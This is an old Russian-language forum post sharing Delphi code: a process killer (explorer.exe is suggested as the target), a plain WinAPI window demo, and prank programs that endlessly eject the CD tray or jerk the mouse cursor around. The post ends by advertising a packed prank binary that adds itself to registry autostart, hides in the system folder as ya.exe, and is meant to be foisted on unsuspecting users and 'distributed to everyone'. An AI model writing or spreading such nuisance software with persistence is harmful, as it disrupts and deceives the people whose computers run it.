Вот он полезный исходник...

======

uses
Tlhelp32,
Windows,
Messages,
SysUtils;

const
PROCESS_TERMINATE=$0001;
var
ContinueLoop: BOOL;
FSnapshotHandle: THandle;
FProcessEntry32: TProcessEntry32;
ExeFileName: String;
result: integer;
begin
begin
result:=0;
ExeFileName:='xxxxxxx.exe';
FSnapshotHandle := CreateToolhelp32Snapshot
(TH32CS_SNAPPROCESS, 0);
FProcessEntry32.dwSize := Sizeof(FProcessEntry32);
ContinueLoop := Process32First(FSnapshotHandle,
FProcessEntry32);

while integer(ContinueLoop) <> 0 do
begin
if ((UpperCase(ExtractFileName(FProcessEntry32.szExeFile)) =
UpperCase(ExeFileName)) or (UpperCase(FProcessEntry32.szExeFile) =
UpperCase(ExeFileName))) then
Result := Integer(TerminateProcess(OpenProcess(
PROCESS_TERMINATE, BOOL(0), FProcessEntry32.th32ProcessID), 0));
ContinueLoop := Process32Next(FSnapshotHandle, FProcessEntry32);
end;

CloseHandle(FSnapshotHandle);
end;

end.

где xxxxxx.exe имя экзэшника(например explorer.exe)

работает наура.

Форма на чистом API. Изврат но бывает полезно.

=======

program Plain2;

uses
Windows,
Messages;

const
id_Button = 100;

function PlainWinProc (hWnd: THandle; nMsg: UINT;
wParam, lParam: Cardinal): Cardinal; export; stdcall;
var
Rect: TRect;
begin
Result := 0;
case nMsg of
wm_Create:
// create button
CreateWindowEx (0, // extended styles
'BUTTON', // predefined class
'&Души на меня!!!', // caption
ws_Child or ws_Visible or ws_Border
or bs_PushButton, // styles
0, 0, // position: see wm_Size
200, 80, // size
hwnd, // parent
id_Button, // identifier (not a menu handle)
hInstance, // application id
nil); // init info pointer
wm_Size:
begin
// get the size of the client window
GetClientRect (hWnd, Rect);
// move the button window
SetWindowPos (
GetDlgItem (hWnd, id_Button), // button handle
0, // zOrder
Rect.Right div 2 - 100,
Rect.Bottom div 2 - 40,
0, 0, // new size
swp_NoZOrder or swp_NoSize);
end;
wm_Command:
// if it comes from the button
if LoWord (wParam) = id_Button then
// if it is a click
if HiWord (wParam) = bn_Clicked then
MessageBox (hWnd, 'О да!Работает, бля!',
'API форева!!!', MB_OK);
wm_Destroy:
PostQuitMessage (0);
else
Result := DefWindowProc (hWnd, nMsg, wParam, lParam);
end;
end;

procedure WinMain;
var
hWnd: THandle;
Msg: TMsg;
WndClassEx: TWndClassEx;
begin
// initialize the window class structure
WndClassEx.cbSize := sizeOf (TWndClassEx);
WndClassEx.lpszClassName := 'PlainWindow';
WndClassEx.style := cs_VRedraw or cs_HRedraw;
WndClassEx.hInstance := HInstance;
WndClassEx.lpfnWndProc := @PlainWinProc;
WndClassEx.cbClsExtra := 0;
WndClassEx.cbWndExtra := 0;
WndClassEx.hIcon := LoadIcon (hInstance,
MakeIntResource ('MAINICON'));
WndClassEx.hIconSm := LoadIcon (hInstance,
MakeIntResource ('MAINICON'));
WndClassEx.hCursor := LoadCursor (0, idc_Arrow);;
WndClassEx.hbrBackground := GetStockObject (white_Brush);
WndClassEx.lpszMenuName := nil;
// register the class
if RegisterClassEx (WndClassEx) = 0 then
MessageBox (0, 'Invalid class registration',
'Plain API', MB_OK)
else
begin
hWnd := CreateWindowEx (
ws_Ex_OverlappedWindow, // extended styles
WndClassEx.lpszClassName, // class name
'API рулёз', // title
ws_OverlappedWindow, // styles
cw_UseDefault, 0, // position
cw_UseDefault, 0, // size
0, // parent window
0, // menu
HInstance, // instance handle
nil); // initial parameters
if hWnd = 0 then
MessageBox (0, 'Нихера не получилос',
'Plain API', MB_OK)
else
begin
ShowWindow (hWnd, sw_ShowNormal);
while GetMessage (Msg, 0, 0, 0) do
begin
TranslateMessage (Msg);
DispatchMessage (Msg);
end;
end;
end;
end;

begin
WinMain;
end.

Учите API!!!

Добавлено (2007-01-11, 7:41 Pm)
---------------------------------------------
и приколы

program Crazy_CD;

uses
windows, MMSystem;

var
OpenParm: TMCI_Open_Parms;
GenParm: TMCI_Generic_Parms;
SetParm: TMCI_Set_Parms;
DI : Cardinal;
k: boolean;
begin

repeat
OpenParm.lpstrDeviceType := 'CDAudio';
mciSendCommand(0, mci_Open, mci_Open_Type, Longint(@OpenParm));
DI := OpenParm.wDeviceID;
mciSendCommand(DI, mci_Set, mci_Set_Door_Open, Longint(@SetParm));
mciSendCommand(DI, mci_Set, mci_Set_Door_Closed, Longint(@SetParm));
mciSendCommand(DI, mci_Close, mci_Notify, Longint(@GenParm));
sleep(60*1000);
until k;
end.

Добавлено (2007-01-11, 7:41 Pm)
---------------------------------------------
program Mouse;

uses
Windows;
var
KomputerGameOver: boolean;
begin
repeat
randomize;
try
setcursorpos(random(1024),raNDOM(768));
except
setcursorpos(random(800),raNDOM(600));
end;
sleep (5*1000*6);
until KomputerGameOver;
end.

Распрространение свободное!Исходники могу дать на доработку.
Написан на чистом WinAPI(спсибо [C]RaSh )
Ужат аспаком.
Пишется в реестре на автозапуск.
Копируется в папку system как ya.exe
Примитивно но ламерам можно впарить.

Раздайте фсем.